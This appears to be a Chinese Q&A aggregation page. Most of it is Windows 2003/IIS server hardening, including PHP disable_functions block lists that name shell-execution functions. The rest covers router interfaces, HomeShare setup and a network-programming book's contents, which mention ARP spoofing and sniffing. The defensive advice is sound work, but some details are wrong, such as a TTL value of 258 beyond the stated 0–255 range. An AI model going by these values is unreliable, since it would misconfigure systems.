另外,對於FSO由於用戶程序需要使用,伺服器上可以不注銷掉該組件,這里只提一下FSO的防範,但並不需要在自動開通空間的虛擬商伺服器上使用,只適合於手工開通的站點。可以針對需要FSO和不需要FSO的站點設置兩個組,對於需要FSO的用戶組給予c:winntsystem32scrrun.dll文件的執行許可權,不需要的不給許可權。重新啟動伺服器即可生效。
對於這樣的設置結合上面的許可權設置,你會發現海陽木馬已經在這里失去了作用!
PHP的安全設置:
默認安裝的php需要有以下幾個注意的問題:
C:\winnt\php.ini只給予users讀許可權即可。在php.ini里需要做如下設置:
Safe_mode=on
register_globals = Off
allow_url_fopen = Off
display_errors = Off
magic_quotes_gpc = On [默認是on,但需檢查一遍]
open_basedir =web目錄
disable_functions =passthru,exec,shell_exec,system,phpinfo,get_cfg_var,popen,chmod
默認設置com.allow_dcom = true修改為false[修改前要取消掉前面的;]
MySQL安全設置:
如果伺服器上啟用MySQL資料庫,MySQL資料庫需要注意的安全設置為:
刪除mysql中的所有默認用戶,只保留本地root帳戶,為root用戶加上一個復雜的密碼。賦予普通用戶updatedeletealertcreatedrop許可權的時候,並限定到特定的資料庫,尤其要避免普通客戶擁有對mysql資料庫操作的許可權。檢查mysql.user表,取消不必要用戶的shutdown_priv,relo
ad_priv,process_priv和File_priv許可權,這些許可權可能泄漏更多的伺服器信息包括非mysql的其它信息出去。可以為mysql設置一個啟動用戶,該用戶只對mysql目錄有許可權。設置安裝目錄的data資料庫的許可權(此目錄存放了mysql資料庫的數據信息)。對於mysql安裝目錄給users加上讀取、列目錄和執行許可權。
Serv-u安全問題:
安裝程序盡量採用最新版本,避免採用默認安裝目錄,設置好serv-u目錄所在的許可權,設置一個復雜的管理員密碼。修改serv-u的banner信息,設置被動模式埠范圍(4001—4003)在本地伺服器中設置中做好相關安全設置:包括檢查匿名密碼,禁用反超時調度,攔截「FTP bounce」攻擊和FXP,對於在30秒內連接超過3次的用戶攔截10分鍾。域中的設置為:要求復雜密碼,目錄只使用小寫字母,高級中設置取消允許使用MDTM命令更改文件的日期。
更改serv-u的啟動用戶:在系統中新建一個用戶,設置一個復雜點的密碼,不屬於任何組。將servu的安裝目錄給予該用戶完全控制許可權。建立一個FTP根目錄,需要給予這個用戶該目錄完全控制許可權,因為所有的ftp用戶上傳,刪除,更改文件都是繼承了該用戶的許可權,否則無法操作文件。另外需要給該目錄以上的上級目錄給該用戶的讀取許可權,否則會在連接的時候出現530 Not logged in, home directory does not exist.比如在測試的時候ftp根目錄為d:soft,必須給d盤該用戶的讀取許可權,為了安全取消d盤其他文件夾的繼承許可權。而一般的使用默認的system啟動就沒有這些問題,因為system一般都擁有這些許可權的。
七、其它
1.隱藏重要文件/目錄可以修改注冊表實現完全隱藏:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ Current-Version\Explorer\Advanced\Folder\Hi-dden\SHOWALL」,滑鼠右擊 「CheckedValue」,選擇修改,把數值由1改為0
2.啟動系統自帶的Internet連接防火牆,在設置服務選項中勾選Web伺服器;
3.防止SYN洪水攻擊:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
新建DWORD值,名為SynAttackProtect,值為2
EnablePMTUDiscovery REG_DWORD 0
NoNameReleaseOnDemand REG_DWORD 1
EnableDeadGWDetect REG_DWORD 0
KeepAliveTime REG_DWORD 300,000
PerformRouterDiscovery REG_DWORD 0
EnableICMPRedirects REG_DWORD 0
4. 禁止響應ICMP路由通告報文:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\interface
新建DWORD值,名為PerformRouterDiscovery 值為0
5. 防止ICMP重定向報文的攻擊:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
將EnableICMPRedirects 值設為0
6. 不支持IGMP協議:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
新建DWORD值,名為IGMPLevel 值為0
7.修改終端服務埠:
運行regedit,找到[HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ Wds \ rdpwd \ Tds \ tcp],看到右邊的PortNumber了嗎?在十進制狀態下改成你想要的埠號吧,比如7126之類的,只要不與其它沖突即可。
第二處HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ WinStations \ RDP-Tcp,方法同上,記得改的埠號和上面改的一樣就行了。
8.禁止IPC空連接:
cracker可以利用net use命令建立空連接,進而入侵,還有net view,nbtstat這些都是基於空連接的,禁止空連接就好了。打開注冊表,找到Local_Machine\System\CurrentControlSet\Control\LSA-RestrictAnonymous 把這個值改成」1」即可。
9.更改TTL值:
cracker可以根據ping回的TTL值來大致判斷你的操作系統,如:
TTL=107(WINNT);
TTL=108(win2000);
TTL=127或128(win9x);
TTL=240或241(linux);
TTL=252(solaris);
TTL=240(Irix);
實際上你可以自己更改的:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters:DefaultTTL REG_DWORD 0-0xff(0-255 十進制,默認值128)改成一個莫名其妙的數字如258,起碼讓那些小菜鳥暈上半天,就此放棄入侵你也不一定哦。
10. 刪除默認共享:
有人問過我一開機就共享所有盤,改回來以後,重啟又變成了共享是怎麼回事,這是2K為管理而設置的默認共享,必須通過修改注冊表的方式取消它:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters:AutoShareServer類型是REG_DWORD把值改為0即可
11. 禁止建立空連接:
默認情況下,任何用戶通過通過空連接連上伺服器,進而枚舉出帳號,猜測密碼。我們可以通過修改注冊表來禁止建立空連接:
Local_Machine\System\CurrentControlSet\Control\LSA-RestrictAnonymous 的值改成」1」即可。
12.禁用TCP/IP上的NetBIOS
網上鄰居-屬性-本地連接-屬性-Internet協議(TCP/IP)屬性-高級-WINS面板-NetBIOS設置-禁用TCP/IP上的NetBIOS。這樣cracker就無法用nbtstat命令來讀取你的NetBIOS信息和網卡MAC地址了。
13. 賬戶安全
首先禁止一切賬戶,除了你自己,呵呵。然後把Administrator改名。我呢就順手又建了個Administrator賬戶,不過是什麼許可權都沒有的那種,然後打開記事本,一陣亂敲,復制,粘貼到「密碼」里去,呵呵,來破密碼吧~!破完了才發現是個低級賬戶,看你崩潰不?
創建2個管理員用帳號
雖然這點看上去和上面這點有些矛盾,但事實上是服從上面的規則的。 創建一個一般許可權帳號用來收信以及處理一些日常事物,另一個擁有Administrators 許可權的帳戶只在需要的時候使用。可以讓管理員使用 「 RunAS」 命令來執行一些需要特權才能作的一些工作,以方便管理
14.更改C:\WINDOWS\Help\iisHelp\common\404b.htm內容改為這樣,出錯了自動轉到首頁。
15.本地安全策略和組策略的設置,如果你在設置本地安全策略時設置錯了,可以這樣恢復成它的默認值
打開 %SystemRoot%\Security文件夾,創建一個 "OldSecurity"子目錄,將%SystemRoot%\Security下所有的.log文件移到這個新建的子文件夾中
在%SystemRoot%\Security\database\下找到"Secedit.sdb"安全資料庫並將其改名,如改為"Secedit.old"
啟動"安全配置和分析"MMC管理單元:"開始"->"運行"->"MMC",啟動管理控制台,"添加/刪除管理單元",將"安全配置和分析"管理單元添加上
右擊"安全配置和分析"->"打開資料庫",瀏覽"C:\WINNT\security\Database"文件夾,輸入文件名"secedit.sdb",單擊"打開"
當系統提示輸入一個模板時,選擇"Setup Security.inf",單擊"打開",如果系統提示"拒絕訪問資料庫",不管他,你會發現在"C:\WINNT\security\Database"子文件夾中重新生成了新的安全資料庫,在"C:\WINNT\security"子文件夾下重新生成了log文件,安全資料庫重建成功。
16.禁用DCOM:
運行中輸入 Dcomcnfg.exe。 回車, 單擊「控制台根節點」下的「組件服務」。 打開「計算機」子文件夾。對於本地計算機,請以右鍵單擊「我的電腦」,然後選擇「屬性」。選擇「默認屬性」選項卡。清除「在這台計算機上啟用分布式 COM」復選框。
第二步:
盡管Windows 2003的功能在不斷增強,但是由於先天性的原因,它還存在不少安全隱患,要是不將這些隱患「堵住」,可能會給整個系統帶來不必要的麻煩;下面筆者就介紹Windows2003中不常見的安全隱患的防堵方法,希望能對各位帶來幫助!
堵住自動保存隱患
Windows 2003操作系統在調用應用程序出錯時,系統中的Dr. Watson會自動將一些重要的調試信息保存起來,以便日後維護系統時查看,不過這些信息很有可能被黑客「瞄上」,一旦瞄上的話,各種重要的調試信息就會暴露無疑,為了堵住Dr. Watson自動保存調試信息的隱患,我們可以按如下步驟來實現:
1、打開開始菜單,選中「運行」命令,在隨後打開的運行對話框中,輸入注冊表編輯命令「ergedit」命令,打開一個注冊表編輯窗口;
2、在該窗口中,用滑鼠依次展開HKEY_local_machine\software\Microsoft\WindowsdowsNT\CurrentVersion\AeDebug分支,在對應AeDebug鍵值的右邊子窗口中,用滑鼠雙擊Auto值,在彈出的參數設置窗口中,將其數值重新設置為「0」,
3、打開系統的Windows資源管理器窗口,並在其中依次展開Documents and Settings文件夾、All Users文件夾、Shared Documents文件夾、DrWatson文件夾,最後將對應DrWatson中的User.dmp文件、Drwtsn32.log文件刪除掉。
完成上面的設置後,重新啟動一下系統,就可以堵住自動保存隱患了。
堵住資源共享隱患
為了給區域網用戶相互之間傳輸信息帶來方便,Windows Server 2003系統很是「善解人意」地為各位提供了文件和列印共享功能,不過我們在享受該功能帶來便利的同時,共享功能也會「引狼入室」,「大度」地向黑客們敞開了不少漏洞,給伺服器系統造成了很大的不安全性;所以,在用完文件或列印共享功能時,大家千萬要隨時將功能關閉喲,以便堵住資源共享隱患,下面就是關閉共享功能的具體步驟:
1、執行控制面板菜單項下面的「網路連接」命令,在隨後出現的窗口中,用滑鼠右鍵單擊一下「本地連接」圖標;
2、在打開的快捷菜單中,單擊「屬性」命令,這樣就能打開一個「Internet協議(TCP/IP)」屬性設置對話框;
3、在該界面中取消「Microsoft網路的文件和列印機共享」這個選項;
4、如此一來,本地計算機就沒有辦法對外提供文件與列印共享服務了,這樣黑客自然也就少了攻擊系統的「通道」。
堵住遠程訪問隱患
在Windows2003系統下,要進行遠程網路訪問連接時,該系統下的遠程桌面功能可以將進行網路連接時輸入的用戶名以及密碼,通過普通明文內容方式傳輸給對應連接端的客戶端程序;在明文帳號傳輸過程中,實現「安插」在網路通道上的各種嗅探工具,會自動進入「嗅探」狀態,這個明文帳號就很容易被「俘虜」了;明文帳號內容一旦被黑客或其他攻擊者另謀他用的話,呵呵,小心自己的系統被「瘋狂」攻擊吧!為了杜絕這種安全隱患,我們可以按下面的方法來為系統「加固」:
1、點擊系統桌面上的「開始」按鈕,打開開始菜單;
2、從中執行控制面板命令,從彈出的下拉菜單中,選中「系統」命令,打開一個系統屬性設置界面;
3、在該界面中,用滑鼠單擊「遠程」標簽;
4、在隨後出現的標簽頁面中,將「允許用戶遠程連接到這台計算機」選項取消掉,這樣就可以將遠程訪問連接功能屏蔽掉,從而堵住遠程訪問隱患了。
堵住用戶切換隱患
Windows 2003系統為我們提供了快速用戶切換功能,利用該功能我們可以很輕松地登錄到系統中;不過在享受這種輕松時,系統也存在安裝隱患,例如我們要是執行系統「開始」菜單中的「注銷」命令來,快速「切換用戶」時,再用傳統的方式來登錄系統的話,系統很有可能會本次登錄,錯誤地當作是對計算機系統的一次暴力「襲擊」,這樣Windows2003系統就可能將當前登錄的帳號當作非法帳號,將它鎖定起來,這顯然不是我們所需要的;不過,我們可以按如下步驟來堵住用戶切換時,產生的安全隱患:
在Windows 2003系統桌面中,打開開始菜單下面的控制面板命令,找到下面的「管理工具」命令,再執行下級菜單中的「計算機管理」命令,找到「用戶帳戶」圖標,並在隨後出現的窗口中單擊「更改用戶登錄或注銷的方式」;在打開的設置窗口中,將「使用快速用戶切換」選項取消掉就可以了。
❹ C/C++ 開發Windows防火牆功能的軟體
有一本書《Windows程序設計(第二版)》,它的最後一章就是一個完整的防火牆實常式序,比較復雜,涉及到內核模式驅動的設計。
❺ 路由器有哪幾類介面,都有什麼區別
1、RJ-54埠:在這種埠上通過雙絞線連接乙太網。
10Base-T的RJ-45埠標志為「ETH」,而100Base-TX的RJ-45埠標志為「10/100bTX」,這是因為快速乙太網路由器採用10/100Mb/s自適應電路。
2、AUI埠:這是一種D型15針連接器,用在令牌環網或匯流排型乙太網中。
路由器經AUI埠通過粗同軸電纜收發器連接10Base-5網路,也可以通過外接的AUI-to-RJ-45適配器連接10Base-T乙太網,還可以藉助其他類型的適配器實現與10Base-2細同軸電纜或10Base-F光纜的連接。
3、高速同步串口:在路由器與廣域網的連接中,應用最多的是高速同步串列口(Synchronous Serial Port),這種埠用於連接DDN、幀中繼、X.25和PSTH等網路。
通過這種埠所連接的網路兩端要求同步通信,以很高的速率進行數據傳輸。
4、ISDN BRI埠:這種埠通過ISDN線路實現路由器與Internet或其他網路的遠程連接。
ISDN BRI三個通道(2B+D)的總帶寬為144kb/s,埠採用RJ-45標准,與ISDN NT1的連接使用RJ-45-to-RJ-45直通線。
5、Console埠:Console埠通過配置專用電纜連接至計算機串列口,利用終端模擬程序(如Windows中的超級終端)對路由器進行本地配置。
路由器的Console埠為RJ-45口。Console埠不支持硬體流控。
6、AUX埠:對路由器進行遠程配置時要使用「AUX」埠(Auxiliary Prot)。AUX埠在外觀上與RJ-45埠一樣,只是內部電路不同,實現的功能也不一樣。
通過AUX埠與Modem進行連接必須藉助RJ-45 to DB9或RJ-45 to DB25適配器進行電路轉換。AUX埠支持硬體流控。
7、非同步串口:非同步串口(ASYNC)主要應用於與Modem或Modem池的連接,以實現遠程計算機通過PSTN撥號接入。
(5)passthru過濾數據包擴展閱讀:
路由器原理:
網路中的設備相互通信主要是用它們的IP地址,路由器只能根據具體的IP地址來轉發數據。IP地址由網路地址和主機地址兩部分組成。
在Internet中採用的是由子網掩碼來確定網路地址和主機地址。子網掩碼與IP地址一樣都是32位的,並且這兩者是一一對應的。
子網掩碼中「1」對應IP地址中的網路地址,「0」對應的是主機地址,網路地址和主機地址就構成了一個完整的IP地址。
在同一個網路中,IP地址的網路地址必須是相同的。計算機之間的通信只能在具有相同網路地址的IP地址之間進行,如果想要與其他網段的計算機進行通信,則必須經過路由器轉發出去。
不同網路地址的IP地址是不能直接通信的,即便它們距離非常近,也不能進行通信。路由器的多個埠可以連接多個網段,每個埠的IP地址的網路地址都必須與所連接的網段的網路地址一致。
不同的埠它的網路地址是不同的,所對應的網段也是不同的,這樣才能使各個網段中的主機通過自己網段的IP地址把數據發送送到路由器上。
參考資料來源:網路-路由器
❻ 我想利用《寒江獨釣》中passthru例子中的AnalysisPacket函數,在中間加一個過濾某個IP的函數,應該怎麼寫
最近在研究這個東西 看到了 你這個提問就順便回答一下吧:比如網路層來了一個數據包 目的ip是 des,那麼只需j將des.S_addr與inet_addr("你要過濾的ip")這樣比較就行了。
❼ 美國伺服器怎麼防止PHPDOS攻擊 LUC Networks
PHP DDOS遭受攻擊特點:打開IIS,伺服器帶寬使用流量馬上上升,與被DDOS攻擊相反,DDOS攻擊是不斷接收到大量的數據,Php ddos則是對外發送大量的數據包,造成伺服器網路堵塞,此時伺服器可能會掉包嚴重或者表現為經常性的斷線。
解決方法:
一、停止IIS服務-----關閉IIS服務後,流量馬上會下降,但是在開啟後流量會再上升。
二、設置php.ini
1>在C:\Windows\php.ini里查找到disable_functions,添加需要禁用的函數,如下:
disable_functions =gzinflate,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,
proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,
popepassthru,stream_socket_server,fsocket,fsockopen
2>在c:\windows\php.ini里設其值為Off
allow_url_fopen=Off
3>檢查extension=php_sockets.dll,並在前面加分號; 禁用. (;extension=php_sockets.dll)
三、重啟IIS,解決。
REM 添加安全策略,名稱
netsh ipsec static add policy name=banudp
REM 添加 IP篩選器列表
netsh ipsec static add filterlist name=允許列表
netsh ipsec static add filterlist name=拒絕列表
REM 添加篩選器到IP篩選器列表(允許上網)
netsh ipsec static add filter filterlist=允許列表 srcaddr=me dstaddr=any description=dns訪問 protocol=udp mirrored=yes dstport=53
REM 添加篩選器到IP篩選器列表(不讓別人訪問)
netsh ipsec static add filter filterlist=拒絕列表 srcaddr=any dstaddr=me description=別人到我任何訪問 protocol=udp mirrored=yes
REM 添加篩選器操作
netsh ipsec static add filteraction name=可以 action=permit
netsh ipsec static add filteraction name=不可以 action=block
REM 創建一個鏈接指定 IPSec 策略、篩選器列表和篩選器操作的規則(加入規則到我的安全策略)
netsh ipsec static add rule name=允許規則 policy= banudp filterlist=允許列表 filteraction=可以
netsh ipsec static add rule name=拒絕規則 policy= banudp filterlist=拒絕列表 filteraction=不可以
REM 激活我的安全策略
netsh ipsec static set policy name= banudp assign=y
❽ 銳捷 每次認證之後一分鍾就後提示我的系統里是否安裝了homeshare的之類的代理程序和passthru的驅動程序
homeshare
1.使用單網卡 使用單網卡共享上網的方式可以免去購買多餘網卡的費用,而且 homeshare
不存在任何性能上的問題。 2.不需要設置專門的伺服器 每台電腦都需要安裝此軟體,先開機的電腦將成為伺服器。當伺服器關機後,其它電腦將會自動成為伺服器,保證網路可以繼續使用。 3.無縫切換 當伺服器關機,客戶機切換到伺服器的過程中,可以保證客戶機中正在進行中的游戲不會中斷。無縫切換已經在大多數游戲中測試過,包括CS、Quake、聯眾世界等。 4.虛擬網路 當你使用SyGate之類支持單網卡共享的軟體時,可能會導致你所在小區其他的用戶也會從你這里上網,影響他人的使用,到時你的寬頻運營商可能就會來找你的麻煩了:-(。使用HomeShare可以設置自己的網路號,使你家庭中的電腦都處在一個虛擬的網路中,不影響小區其它家庭的網路使用。
編輯本段HomeShare軟體的應用
利用HomeShare軟體技術繞開路由器擺脫寬頻網路對路由器的限制,可以輕松實現一拖N多台電腦上網模式。
實現方法
STEP1:在三台計算機上均安裝HomeShare軟體。 STEP2:在A計算機的HOMESHARE配置界面將其IP地址設置為192.168.22.2,掩碼為255.255.255.0,網關地址為192.168.22.1。在連接類型處選擇pppoe,然後在下方出現的帳號設置處輸入你的ADSL帳號的用戶名和密碼,讓HOMESHARE完成自動撥號。 STEP3:在B計算機上按照和A一樣的配置進行設置,值得注意的是在IP地址設置處輸入192.168.22.3,網關及掩碼地址和A一樣,另外在網路號處也要輸入與A一致的數字。 STEP4:在C計算機上同樣按照STEP3的方法進行設置,唯一區別是IP地址設置為192.168.22.4,而網關,掩碼地址及網路號均要保持一致。 當全部設置完畢就實現了三台計算機通過HomeShare進行單網卡共享ADSL上網了。先開機並連上網的計算機將做為臨時伺服器供其他兩台計算機上網使用,如果在上網過程中臨時伺服器關機或重啟的話,另外兩台計算機中的一台將立刻從客戶機升級為臨時伺服器提供代理服務。
小提示
在實際使用中筆者發現由於連接在HUB上的所有設備都處在一個廣播域,而該軟體在尋找伺服器或ADSL貓時使用的就是廣播數據包,所以對於HOMESHARE軟體中網關地址的設置並不那麼苛刻,我們只要設置一個沒有使用過的IP地址即可。筆者將IP設置為192.168.100.1,網關地址為10.1.1.1後同樣可以工作。軟體下方顯示的狀態為「已連接」。 一下的方法行不通,總是一個能上一個不能上,或時好時壞。
❾ 網路連接該選哪個好!!!!
除了Passthru Driver,Microsoft 網路的文件和列印機共享不選,其他的都勾選。勾選後如果還不能上網,你打開網路連接選創建一個新連接,按提示操作,一般就可以上網了。
❿ iocp文件傳輸系統怎麼做
Windows網路與通信程序設計(第2版) 王艷平 這本書寫的非常好,我有本王艷平寫的 windows程序設計,寫得很好,我自己不做網路開發,就沒有買網路的那本書!不過推薦你看看,真的很不錯!
本書將編程方法、網路協議和應用實例有機結合起來,詳細闡明Windows網路編程的各方面內容。本書首先介紹Windows平台上進行網路編程的基礎知識,包括網路硬體、術語、協議、Winsock編程介面和各種I/O方法等;然後通過具體實例詳細講述當前流行的高性能可伸縮伺服器設計、IP多播和Internet廣播、P2P程序設計、原始套接字、SPI、協議驅動的開發和原始以太數據的發送、ARP欺騙技術、LAN和WAN上的掃描和偵測技術、個人防火牆與網路封包截獲技術等;最後講述IP幫助函數和E-mail的開發方法。 本書結構緊湊,內容由淺入...
第1章 計算機網路基礎 1
1.1 網路的概念和網路的組成 1
1.2 計算機網路參考模型 2
1.2.1 協議層次 2
1.2.2 TCP/IP參考模型 2
1.2.3 應用層(Application Layer) 3
1.2.4 傳輸層(Transport Layer) 3
1.2.5 網路層(Network Layer) 3
1.2.6 鏈路層(Link Layer) 4
1.2.7 物理層(Physical Layer) 4
1.3 網路程序定址方式 4
1.3.1 MAC地址 4
1.3.2 IP地址 5
1.3.3 子網定址 6
1.3.4 埠號 8
1.3.5 網路地址轉換(NAT) 8
1.4 網路應用程序設計基礎 10
1.4.1 網路程序體系結構 10
1.4.2 網路程序通信實體 11
1.4.3 網路程序開發環境 12
第2章 Winsock編程介面 13
2.1 Winsock庫 13
2.1.1 Winsock庫的裝入和釋放 13
2.1.2 封裝CInitSock類 14
2.2 Winsock的定址方式和位元組順序 14
2.2.1 Winsock定址 14
2.2.2 位元組順序 16
2.2.3 獲取地址信息 17
2.3 Winsock編程詳解 20
2.3.1 Winsock編程流程 20
2.3.2 典型過程圖 23
2.3.3 TCP伺服器和客戶端程序舉例 24
2.3.4 UDP編程 26
2.4 網路對時程序實例 28
2.4.1 時間協議(Time Protocol) 28
2.4.2 TCP/IP實現代碼 29
第3章 Windows套接字I/O模型 31
3.1 套接字模式 31
3.1.1 阻塞模式 31
3.1.2 非阻塞模式 31
3.2 選擇(select)模型 32
3.2.1 select函數 32
3.2.2 應用舉例 33
3.3 WSAAsyncSelect模型 36
3.3.1 消息通知和WSAAsyncSelect函數 36
3.3.2 應用舉例 37
3.4 WSAEventSelect模型 40
3.4.1 WSAEventSelect函數 40
3.4.2 應用舉例 42
3.4.3 基於WSAEventSelect模型的伺服器設計 44
3.5 重疊(Overlapped)I/O模型 53
3.5.1 重疊I/O函數 53
3.5.2 事件通知方式 56
3.5.3 基於重疊I/O模型的伺服器設計 56
第4章 IOCP與可伸縮網路程序 67
4.1 完成埠I/O模型 67
4.1.1 什麼是完成埠(completion port)對象 67
4.1.2 使用IOCP的方法 67
4.1.3 示常式序 69
4.1.4 恰當地關閉IOCP 72
4.2 Microsoft擴展函數 72
4.2.1 GetAcceptExSockaddrs函數 73
4.2.2 TransmitFile函數 73
4.2.3 TransmitPackets函數 74
4.2.4 ConnectEx函數 75
4.2.5 DisconnectEx函數 76
4.3 可伸縮伺服器設計注意事項 76
4.3.1 內存資源管理 76
4.3.2 接受連接的方法 77
4.3.3 惡意客戶連接問題 77
4.3.4 包重新排序問題 78
4.4 可伸縮伺服器系統設計實例 78
4.4.1 CIOCPServer類的總體結構 78
4.4.2 數據結構定義和內存池方案 82
4.4.3 自定義幫助函數 85
4.4.4 開啟服務和停止服務 88
4.4.5 I/O處理線程 93
4.4.6 用戶介面和測試程序 99
第5章 互聯網廣播和IP多播 100
5.1 套接字選項和I/O控制命令 100
5.1.1 套接字選項 100
5.1.2 I/O控制命令 102
5.2 廣播通信 103
5.3 IP多播(Multicasting) 105
5.3.1 多播地址 105
5.3.2 組管理協議(IGMP) 105
5.3.3 使用IP多播 106
5.4 基於IP多播的組討論會實例 110
5.4.1 定義組討論會協議 110
5.4.2 線程通信機制 111
5.4.3 封裝CGroupTalk類 111
5.4.4 程序界面 117
第6章 原始套接字 121
6.1 使用原始套接字 121
6.2 ICMP編程 121
6.2.1 ICMP與校驗和的計算 121
6.2.2 Ping程序實例 124
6.2.3 路由跟蹤 126
6.3 使用IP頭包含選項 129
6.3.1 IP數據報格式 129
6.3.2 UDP數據報格式 131
6.3.3 原始UDP封包發送實例 133
6.4 網路嗅探器開發實例 134
6.4.1 嗅探器設計原理 135
6.4.2 網路嗅探器的具體實現 136
6.4.3 偵聽區域網內的密碼 138
6.5 TCP通信開發實例 140
6.5.1 創建一個原始套接字,並設置IP頭選項 140
6.5.2 構造IP頭和TCP頭 140
6.5.3 發送原始套接字數據報 142
6.5.4 接收數據 146
第7章 Winsock服務提供者介面(SPI) 147
7.1 SPI概述 147
7.2 Winsock協議目錄 148
7.2.1 協議特性 149
7.2.2 使用Winsock API函數枚舉協議 150
7.2.3 使用Winsock SPI函數枚舉協議 151
7.3 分層服務提供者(LSP) 153
7.3.1 運行原理 153
7.3.2 安裝LSP 154
7.3.3 移除LSP 158
7.3.4 編寫LSP 159
7.3.5 LSP實例 161
7.4 基於SPI的數據報過濾實例 165
7.5 基於Winsock的網路聊天室開發 171
7.5.1 服務端 171
7.5.2 客戶端 171
7.5.3 聊天室程序的設計說明 172
7.5.4 核心代碼分析 172
第8章 Windows網路驅動介面標准(NDIS)和協議驅動的開發 176
8.1 核心層網路驅動 176
8.1.1 Windows 2000及其後產品的網路體系結構 176
8.1.2 NDIS網路驅動程序 177
8.1.3 網路驅動開發環境 178
8.2 WDM驅動開發基礎 181
8.2.1 UNICODE字元串 181
8.2.2 設備對象 181
8.2.3 驅動程序的基本結構 183
8.2.4 I/O請求包(I/O request packet,IRP)和I/O堆棧 183
8.2.5 完整驅動程序示例 186
8.2.6 擴展派遣介面 188
8.2.7 應用舉例(進程診測實例) 191
8.3 開發NDIS網路驅動預備知識 198
8.3.1 中斷請求級別(Interrupt Request Level,IRQL) 198
8.3.2 旋轉鎖(Spin Lock) 198
8.3.3 雙鏈表 199
8.3.4 封包結構 199
8.4 NDIS協議驅動 200
8.4.1 注冊協議驅動 200
8.4.2 打開下層協議驅動的適配器 201
8.4.3 協議驅動的封包管理 202
8.4.4 在協議驅動中接收數據 203
8.4.5 從協議驅動發送封包 204
8.5 NDIS協議驅動開發實例 204
8.5.1 總體設計 204
8.5.2 NDIS協議驅動的初始化、注冊和卸載 206
8.5.3 下層NIC的綁定和解除綁定 209
8.5.4 發送數據 217
8.5.5 接收數據 219
8.5.6 用戶IOCTL處理 225
第9章 網路掃描與檢測技術 233
9.1 網路掃描基礎知識 233
9.1.1 乙太網數據幀 233
9.1.2 ARP 234
9.1.3 ARP格式 236
9.1.4 SendARP函數 237
9.2 原始以太封包的發送 238
9.2.1 安裝協議驅動 238
9.2.2 協議驅動用戶介面 238
9.2.3 發送以太封包的測試程序 244
9.3 區域網計算機掃描 245
9.3.1 管理原始ARP封包 246
9.3.2 ARP掃描示例 249
9.4 互聯網計算機掃描 253
9.4.1 埠掃描原理 253
9.4.2 半開埠掃描實現 254
9.5 ARP欺騙原理與實現 259
9.5.1 IP欺騙的用途和實現原理 259
9.5.2 IP地址沖突 260
9.5.3 ARP欺騙示例 261
第10章 點對點(P2P)網路通信技術 264
10.1 P2P穿越概述 264
10.2 一般概念 265
10.2.1 NAT術語 265
10.2.2 中轉 265
10.2.3 反向連接 266
10.3 UDP打洞 267
10.3.1 中心伺服器 267
10.3.2 建立點對點會話 267
10.3.3 公共NAT後面的節點 267
10.3.4 不同NAT後面的節點 268
10.3.5 多級NAT後面的節點 269
10.3.6 UDP空閑超時 270
10.4 TCP打洞 271
10.4.1 套接字和TCP埠重用 271
10.4.2 打開點對點的TCP流 271
10.4.3 應用程序看到的行為 272
10.4.4 同步TCP打開 273
10.5 Internet點對點通信實例 273
10.5.1 總體設計 273
10.5.2 定義P2P通信協議 274
10.5.3 客戶方程序 275
10.5.4 伺服器方程序 287
10.5.5 測試程序 291
第11章 核心層網路封包截獲技術 294
11.1 Windows網路數據和封包過濾概述 294
11.1.1 Windows網路系統體系結構圖 294
11.1.2 用戶模式下的網路數據過濾 295
11.1.3 內核模式下的網路數據過濾 296
11.2 中間層網路驅動PassThru 296
11.2.1 PassThru NDIS中間層驅動簡介 296
11.2.2 編譯和安裝PassThru驅動 297
11.3 擴展PassThru NDIS IM驅動——添加IOCTL介面 297
11.3.1 擴展之後的PassThru驅動(PassThruEx)概況 297
11.3.2 添加基本的DeviceIoControl介面 298
11.3.3 添加綁定枚舉功能 302
11.3.4 添加ADAPT結構的引用計數 307
11.3.5 適配器句柄的打開/關閉函數 308
11.3.6 句柄事件通知 315
11.3.7 查詢和設置適配器的OID信息 315
11.4 擴展PassThru NDIS IM驅動——添加過濾規則 323
11.4.1 需要考慮的事項 323
11.4.2 過濾相關的數據結構 324
11.4.3 過濾列表 326
11.4.4 網路活動狀態 327
11.4.5 IOCTL控制代碼 328
11.4.6 過濾數據 331
11.5 核心層過濾實例 339
第12章 Windows網路防火牆開發技術 342
12.1 防火牆技術概述 342
12.2 金羽(Phoenix)個人防火牆淺析 343
12.2.1 金羽(Phoenix)個人防火牆簡介 343
12.2.2 金羽(Phoenix)個人防火牆總體設計 344
12.2.3 金羽(Phoenix)個人防火牆總體結構 345
12.3 開發前的准備 345
12.3.1 常量的定義 346
12.3.2 訪問規則 348
12.3.3 會話結構 348
12.3.4 文件結構 349
12.3.5 UNICODE支持 355
12.4 應用層DLL模塊 356
12.4.1 DLL工程框架 356
12.4.2 共享數據和IO控制 362
12.4.3 訪問控制列表ACL(Access List) 364
12.4.4 查找應用程序訪問許可權的過程 367
12.4.5 類的介面——檢查函數 370
12.5 核心層SYS模塊 373
12.6 主模塊工程 375
12.6.1 I/O控制類 375
12.6.2 主應用程序類 377
12.6.3 主對話框中的屬性頁 380
12.6.4 主窗口類 381
12.7 防火牆頁面 383
12.7.1 網路訪問監視頁面 383
12.7.2 應用層過濾規則頁面 387
12.7.3 核心層過濾規則頁面 397
12.7.4 系統設置頁面 403
第13章 IP幫助函數 406
13.1 IP配置信息 406
13.1.1 獲取網路配置信息 406
13.1.2 管理網路介面 408
13.1.3 管理IP地址 412
13.2 獲取網路狀態信息 415
13.2.1 獲取TCP連接表 415
13.2.2 獲取UDP監聽表 418
13.2.3 獲取IP統計數據 420
13.3 路由管理 427
13.3.1 獲取路由表 427
13.3.2 管理特定路由 431
13.3.3 修改默認網關的例子 432
13.4 ARP表管理 433
13.4.1 獲取ARP表 433
